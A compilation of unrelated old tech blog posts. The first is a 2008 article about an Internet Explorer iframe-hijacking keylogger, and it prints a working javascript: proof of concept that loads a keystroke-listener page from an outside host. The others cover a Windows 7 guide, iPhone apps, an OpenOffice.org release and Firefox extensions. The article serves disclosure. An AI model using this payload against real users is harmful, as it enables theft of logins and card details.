This article was written on June 27, 2008 by CyberNet.

Browser vulnerabilities are nothing new, and they are constantly popping up no matter what software you’re using. Today, however, there’s an especially eerie one that Ghacks found which currently affects almost all versions of Internet Explorer 6, 7, and 8. It’s capable of recording all of your keystrokes even after you’ve left the site that you were visiting.

Update (6/27/2008 @ 1:34PM CST): As some commenters have pointed out this vulnerability does affect Firefox 3 users as well.

How does it work? First the user must click on a malicious link that uses JavaScript to open a URL in a new window/tab. The site that you were expecting to open will be displayed without any issues, and you’ll likely assume that you’ve completely left the referring site. Once the JavaScript code finishes executing it will hijack the first iframe that it finds on the website, and it will begin capturing any of your keystrokes.

Want some proof? This site has an example link to demonstrate how it works. To show just how versatile this is I modified a small portion of the code so that it opens our homepage, and takes over the first iframe that appears at the very top. Here’s what the code looks like, and click on it to see what I’m talking about:

javascript:x=open(’http://cybernetnews.com/’);setInterval(function(){try{x.frames[0].location={toString:function(){return%20′http://www.sirdarckcat.net/caballero-listener.html’;}}}catch(e){}},5000);void(1);

If you are using a susceptible browser you should have noticed that the iframe at the top of the page turned solid red, and anytime you pressed a key on the keyboard it displayed in the box:

I didn’t modify our site’s code in any way to get this to work, and any site you visit that uses iframes are susceptible to being a host for the vulnerability. That means it could easily steal login credentials or credit card information assuming an iframe is available on the page. Scary, huh?

As of right now a proof-of-concept is only available for Internet Explorer, but with a little more work it’s possible that it could also affect other browsers. I have verified that the current method works in Internet Explorer 6, and it doesn’t work in Firefox 3, Opera 9.5, and Safari 3. Here’s more information on how the vulnerability operates.

Copyright © 2009 CyberNet | CyberNet Forum | Learn Firefox

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We’ve covered Windows 7 from rumor to golden master. Now—as we wait for its Oct. 22 arrival—it’s enchilada time: Here’s everything of value that we learned about Win 7, packed in a complete, easy-to-read guide.

Table of Contents

Intro

What It All Means: Windows 7 Review
So much anticipation has led up to the arrival of Windows 7, aka The Redeemer. But does it live up to the hype? Here we pass judgment, and then, because we like you, we give you a super-quick tour of its best features and tips.

Chapter 1

The Real Cost of Upgrading to Windows 7
Now that prices are announced and it’s time to think about upgrading, here are all the different considerations you’ll have to make. It’s as smart a Windows upgrade as there ever was, but do your homework!

Chapter 2

How To Use Windows 7, or Why The New UI Is So Great
Windows 7 is Microsoft’s biggest user-interface overhaul since Windows 95. It’s no surprise, then, that even Windows veterans could use a crash course on how to use it.

Chapter 3

Device Stage Hardware Fun, Plus More Productivity Tips
Device Stage, the instant recognition of cameras, printers and other peripherals, is candy for the gadget-addicted, but knowing what works and what doesn’t definitely matters.

Chapter 4

Windows Media Player and Media File Compatibility
Music and movies—not only are they more important than they were when Vista came out, but they also come from more sources in more formats. Windows 7 attempts to master them all.

Chapter 5

Couch Tricks: New Features for Windows Media Center
Our favorite “10-foot” media software shows up in Windows 7 with loads of new features—if you haven’t yet seen why Media Center makes even TiVo look dated, you better pay attention.

Chapter 6

Important Changes to Networking and Security
When it comes to life online, there’s no way to underestimate advances in networking and security. Windows 7 is full of them, and it pays to know what they are and how to use them.

Chapter 7

Natural Interfaces: Pen, Touch and Multitouch
Windows 7 comes of age at a time when the keyboard and mouse are giving way to newer more instinctive controls—luckily, it’s got many of those controls built right in. Bonus: Here’s a first look at the fun Surface-like Windows 7 Touch Pack which may soon be available on all touch PCs.

Chapter 8

Got Troubles? Here’s How To Shoot ‘Em Down
Even a good operating system can be bad once in a while. During the Beta test, we had our share of issues. Here’s a discussion of many of the problems that can be solved, and a few that can’t.

Is there something missing, a discussion you were hoping to have but aren’t seeing here? We want to be thorough, so let’s have it. Go ahead and hit us up, either in direct emails or to our tips line, with the subject “Windows 7 Guide.”

More than a year after launch, there are 74,031 apps in the iPhone App store. Most of them are crap. Some of them aren’t. Here are the 50 iPhone apps you actually need, all in one place.

Well, OK, if you count the overlapping apps—paid and free Twitter clients, neck-and-neck navigation apps, the jailbreakers—it’s more like 56, but that’s not the point, people: The point is, since the last time we corralled all the best of the best (barring our weekly roundups, of course), the iPhone and App Store have changed immeasurably. In the last nine months we saw the release of the 3GS and iPhone OS 3.0, Apple loosening its grip on what kinds of apps people are allowed to create, and hundreds of fresh developers making genuinely new, genuinely impressive stuff. It was time for an update, and a big one.

So, hit the “iPhone Apps” link on the left sidebar, just above Bestmodo (Note: It’s split into two pages, so make sure to click through), or just scroll down—they’re all here too. We’ve got the best games, messaging apps, eBook readers, dictionaries, productivity software and timewasters. We’ve got apps to keep you up on current events, to keep your daily music intake interesting, to keep you entertained on the train, and to keep you on the right interstate. These are the essential iPhone apps—a list that’ll transform that shiny, boring brick you just bought into the device that everyone’s always raving about.

What counts as an essential iPhone app changes all the time, and so should our guide: If we’ve missed anything huge, or you’ve got a much better suggestion for a particular type of app, let us know, or say so in the comments. We’ll be updating this thing pretty frequently, and a million Gizmodo readers can do a better job at sorting through the app mess than a single Gizmodo editor. Enjoy!

Gizmodo’s Essential iPhone Apps

AirSharing: Our favorite file storage app-shoots files to the iPhone’s flash memory via Wi-Fi for storage, transport, and easy retrieval.

Amazon: Amazon’s usually the first place I look during a fit of impulse buying, which their iPhone app now makes stupidly easy.

AOL Radio: More free radio content than any actual radio could ever have. Tailored radio stations are great, sure, but old-fashioned programmed stations-AOL Radio’s specialty-have their charms

BeejiveIM: Expensive? Sure. Totally essential for messaging hounds? Yup.

Bloom: Generative, ambient music by Brian Eno. If I need to say more, it’s also a mini-sequencer: Drop your finger on the liquidy pastel screen, play a note, make simple loops. Music For Airports that you can make yourself. In an airport, even.

Brain Exercise with Dr. Kawashima: A lot of people buy Nintendo DSes for the sole purpose of having those Dr. Kawashima-approved brain-training games at hand. With this app, you get the exact same mind-juicing benefits for a few bucks, on hardware you already carry.

Brushes: If you’ve ever seen on of those spectacularly detailed “paintings” done on the iPhone, chances are it was created with this. This is fingerpainting in 2009.

CameraBag: Image processing apps tend to be gimmicky, but CameraBag’s got enough artistic effects and editing flexibility to make the crappiest iPhone camera photos look interesting at worst, and spectacular at best.

ConvertBot: Plenty of apps can technically deal with unit conversions as well as ConvertBot can, but none of them have its fantastic, super-fast interface.

Epicurious: The only cooking app you really need. With its thousands of recipes, shopping list feature and meal suggestions, Epicurious will make you at least look like a passable cook.

Evernote: Obsessive documenters, take note(s): This is the only scribbling app you need.

Facebook: This was an essential app from the get-go, and it’s been steadily evolving-like the site-for the last year. Version 3.0 was a total refresh, and supports nearly every one of Facebook’s sprawling features, sometimes better than the site itself.

Fring: Every major instant message protocol, comfortably crowded under one (free!) roof. The addition of push notifications notched this one up from great to, uh, greaterer.

Frotz: Laugh all you want, jocks-us geeks know where it’s at: text gaming. Bringing virtually every text-based game you’ve ever heard of to the iPhone gives the genre a whole new lease on life, and you the most prodigious time-waster imaginable.

Google Mobile: Google Mobile was a solid app (but not particularly essential)-and then came voice search.

Google Earth: The same amazing Earth touring app found on the desktop, now spinnable via multitouch. Honestly if someone told me two years ago I would have a functional Google Earth app on my phone, I wouldn’t have believed them. This is now.

i.TV: Once you’ve used a wonderful, full-featured TV guide app on your iPhone, reading one on paper-or even on your laptop-will feel stupid. iTV is that app. It also works as a remote for some TiVo boxes, with more DVRs to come.

I Love Katamari: Mad genius designer Keita Takahashi left the series years ago, but Katamari is still among my favorite game franchises of all time (and I’m not alone), and it’s a natural fit for the iPhone’s tilt-controls.

Kindle: There are a pile of eBook readers for the iPhone, but only one connects to Amazon’s book store, and more importantly, your Kindle library.

Last.fm: Creates free, effectively endless custom radio stations, streams them over 3G and learns more about your musical tastes with time. There is literally no downside to this app.

MLB At Bat: Live streaming MLB games, every day, over 3G. That is all.

Motion X Poker Quest: Realistic dice physics meets ancient Egyptian gods in one of the more addicting iPhone games you’ll see.

Mujik: Mujik is like Bloom in that it lets anyone make amazing music in the space of a few minutes. That’s where the similarities end.

Navigon: Hey, so, have you heard your iPhone is also a really, truly good turn-by-turn navigation device? Because with the pricey-but-probably-worth-it Navigon, it is.

Ninjawords: An intelligently pared-down dictionary and thesaurus app, Ninjawords will make you feel and seem slightly less dumb. It works offline, too.

NPR News: Comes with text news, offline reading and an endless (seriously!) supply of calming, androgynous voices, either live or on demand.

Newsstand: One of the only RSS readers that isn’t slow, overcomplicated or missing something vital.

Pageonce Personal Assistant: Are you a fancy businessperson, with “accounts” and “subscriptions” and, uh, “dollars?” Personal Assistant sucks your scattered financial, travel and leisure concerns all into one simple, unscary interface.

OpenTable: Actually talking to a maître d’ on the phone: Out. Tapping your iPhone a few times to get a dinner reservation at a veritable assload of restaurants: In.

Pandora: Best internet radio app, hands down. Smartly auto-suggests music based on other artists you like. Both on the go and while at home. Streams well over EDGE and 3G. Free. What more could you ask for?

PanoLab: Who knew multitouch is the perfect interface for stitching photos together into panoramas? It is. Plus if the photo you just took doesn’t work, toss it out and take another one immediately. A paid version adds even more features.

Prowl: Easily the most useful push app Apple’s let through the gates, Prowl lets you forward any Growl notifications from your Mac or PC-everything from Mail to IM to Torrent downloads to Tweets-directly to your phone.

QuickOffice: Gaping void in default iPhone functionality #123: Real document editing. Solution #123: QuickOffice

Remote: One of the first apps we saw, and still among the best in terms of usefulness. If you use iTunes frequently at home and especially if you listen away from your desk via a stereo hookup or Airport Express, you need the Remote.

RjDj: A totally unique music application that processes sound from your environment and replays it according to a set program, creating a trippy, always-evolving soundscape.

Run Pee: An app to tell you when the boring parts of movies are so you can go pee-or if you’re feeling daring, more-without missing much. It’s a brilliant concept, with unexpectedly good execution.

Shazam: This just doesn’t get old: hold your phone to the air to grab the song playing at the supermarket (or being hummed by your friend), and have it identified in a few seconds. We live in a privileged age.

Simplify Media: Stream your home machine’s iTunes library and those of up to 30 friends to your phone. This app lives up to its name. Forget worries of filling up 8GB, or even 16.

Skype: On 3G, it’s perfect for Skype messaging and long distance texts; on Wi-Fi, it near-magically turns your iPhone into a VoIP handset.

Star Defense: Tower Defense games are one of the few genres that the iPhone excels at, and Star Defense, with an entirely fresh 3D take on the concept, multitouch, varied levels and multiplayer, is about as good as they get.

Slacker Radio: Yet another free, customizable radio app, but one that has a spectacularly huge music library, and that gives you fine control over the songs you hear.

The Sims 3: An amazingly faithful adaptation of the 3D life simulator that you routinely ridicule others for playing, but secretly enjoy yourself, every night, with a bottle of extremely cheap wine.

TomTom: If you’re used to TomTom’s standalone GPS units, their turn-by-turn navigation app will be a pleasant, familiar surprise. In some ways, it might even be better.

Tweetie: If you spend enough of your day on Twitter to consider paying for an app, Tweetie’s multiple account support, uncluttered interface and impressively broad feature set is about as close to a desktop Tweeting experience as you’ll get on the iPhone.

TwitterFon: And if you’re not willing to pay for a Twitter app-understandable!-TwitterFon isn’t too shabby. It’s super-fast and stupid-simple, so it’ll do well by all but the most obnoxiously obsessed Twitterers.

VLC Remote: One of the first apps we loved was the iTunes Remote-now, the Swiss army knife of media players VLC has one of its very own.

VNC Lite: View and fully control my computer from anywhere, as long as I am on the same network. So I can basically be at my computer without actually being at my computer.

WeatherBug: On the desktop, it’s excessive. But on the iPhone, WeatherBug gives you much more-and much more useful-info than Apple’s default app. And in the paid version, hyperlocal, data-driven weather nerdery abounds.

Wikipanion: Why even carry an iPhone if you can’t use it to settle petty arguments about things that don’t matter?

Yelp: Yelp is built on the premise that people really, really love to review things, and that this bizarre impulse should be harnessed for good. With a massive database of food/drink/everything else reviews, easy navigation, inbuilt maps, and augmented reality, it’s tops.

Jailbreak Apps

Before you dive into these, here’s a quick guide for jailbreaking your phone.

Jailbreak: AdBlock: Blacklist obnoxious ads, just like you do on your PC.

Jailbreak: Cycorder: Not everyone can upgrade to an iPhone 3GS. Everyone can, however, record video.

Jailbreak: GV Mobile: Google’s official Google Voice app may never see the light of day, so GV Mobile is the only way to get your all-in-one telephony fix on the iPhone.

Jailbreak: WinterBoard: If you’ve ever seen some guy on the internet proudly demonstrating his garishly skinned or themed iPhone, this is almost definitely what he was using. Note: It can be used for aesthetic good as well as evil.

Jailbreak: Veency: Like every other iPhone VNC app, except totally in reverse: It’s a server.

[Gizmodo’s Essential iPhone Apps]

This article was written on September 05, 2006 by CyberNet.

OpenOffice.org has placed 2.0.4 RC1 on their FTP servers for both Windows and Linux users. I tried looking for some information on exactly what bugs they have fixed but I came up empty handed.

I did, however, come across their wiki for 2.0.4 which states that this version is scheduled for release on September 19. While you are sitting around waiting for the new release you can head over to their forums and add your thoughts on what you would like to see in version 3. A few things that I repeatedly saw over and over through the list was speed improvements and VBA (Visual Basic for Applications) support.

I think OpenOffice.org is already pretty good on the speed but the VBA support definitely needs to be done better. So many companies and people, including myself, use VBA in their spreadsheets and it is difficult to make the switch from Microsoft Office. OpenOffice.org has something that is supposed to handle the VBA code but it just seems to choke when I try to throw something at it.

I have also been wondering where their Outlook competing software is? Sure I know Mozilla already makes Thunderbird but I think an email client is an important part of an Office suite. It would actually be cool to see Mozilla team up with them and really beef up Thunderbird which will definitely attract more people then.

If you like that image I have above then maybe you should checkout the rest of these OpenOffice.org wallpapers. They’re pretty sweet.

Copyright © 2009 CyberNet | CyberNet Forum | Learn Firefox

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This article was written on March 11, 2008 by CyberNet.

It didn’t take long for two different developers to start replicating some of the best new features in Internet Explorer 8: WebSlices and Activities. Come on, you knew extension developers would jump on the chance to give users very few reasons to switch to Internet Explorer.

–WebSlices in Firefox–

WebSlices are a way for you to stay up-to-date with the latest news and information without actually having to visit a website. When a WebSlice is added to the toolbar you’re able to click on it to see a specially designed small-scale version of the website. For example, in the eBay example below you’ll see a brief overview of an auction that you’re trying to keep track of.

If you want to install WebSlices in Firefox here’s what you need to do:

1. Install the extension
2. Go to a page that has WebSlices available, such as http://ie8.ebay.com. Do a search for a product on that eBay site.
3. When you see the little WebSlice icon appear towards the left side of the items right-click somewhere (don’t try to right-click on the icon) and click Subscribe to a webchunk:
   
4. That item will be placed in your WebSlices toolbar where you can click on it to get an instant preview of the status:
   

There are three things that I don’t like about this extension:

1. It takes up an entire toolbar which I find to be a waste of space.
2. I naturally want to click on the little icon that pops up to add the WebSlice, but I have to right-click for some odd reason? Just let me click on the icon to add it to the toolbar.
3. This isn’t the fault of the extension, but there are currently very few WebSlices available.

–Activities in Firefox–

The Activities extension that has been developed is also a bit rough around the edges right now. If you use it in Firefox 3 you’re supposed to be able to see a preview of the site when you hover your mouse over one of the entries just like in Internet Explorer 8. I tried it out in Firefox 3 Beta 3, Firefox 3 Beta 4, and the Firefox 3 nightly builds none of which showed a preview (I even did it on a clean profile with no other extensions installed).

What I did find impressive is that installing the Activities is no different than Internet Explorer 8. The XML files are automatically downloaded into an “activities” folder in your Firefox profile. As of right now navigating to that folder and deleting the XML file is the only way to remove one of the Activities that you add.

Once you’ve added some of the Activities they will only show up in the list when you have text highlighted on a website, and then right-click. Here’s what it looks like:

If the previews worked for me it would be a lot more useful, but right now it’s really just another way to perform a search on a site.

[via Mozilla Links]

Copyright © 2009 CyberNet | CyberNet Forum | Learn Firefox

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